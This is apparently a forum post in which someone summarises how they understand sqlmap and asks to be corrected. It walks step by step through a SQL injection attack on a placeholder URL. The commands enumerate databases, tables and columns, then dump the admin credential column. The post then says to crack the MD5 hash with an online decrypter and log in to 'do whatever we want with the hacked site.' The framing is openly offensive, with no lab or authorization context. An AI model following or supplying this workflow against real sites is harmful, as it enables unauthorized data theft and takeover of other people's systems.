So, l've been checking this out. l think it's basically blind injection, but here is what l understand. Please correct any mistakes.
We start with:
./sqlmap.py -u
http://yoursitehere.com/vulnerablefile (might be user.php?id=5)
lf it found the Database version continue with:
./sqlmap.py -u
http://yoursitehere.com/user.php?id=5 --dbs
That should show every database on the target system
Now you have to use the ‘-D’ flag and pass it the name of the database you want to attack, also pass it the ‘- -tables’ flag to obtain the table names:
./sqlmap.py -u
http://yoursitehere.com/user.php?id=5 -D databasename --tables
This should return you the tables of the database.
The last step is to obtain the column names of the table we want to use, if we want to check more tables we seperate them with a ‘,’
./sqlmap.py -u
http://yoursitehere.com/user.php?id=5 -D databasename -T tablename --columns
This should give you the users table of columns.
The “final” step is to find the admin credentials and decrypt them.
Query range is specified with ‘- -start x’ and ‘- -stop y’.
Because the admin normally is stored in the first row of the table we use this command:
./sqlmap.py -u
http://yoursitehere.com/user.php?id=5 -D databasename -T tablename -C colum1, column2 --dump
Then you should see the md5 hash which you take to an online decrypter or whatever.
We can now login and do whatever we want with the hacked site.
SQL helper is a nice tool for an automated attack, but until they port it to iphone, l think SQLmap is the way to go.
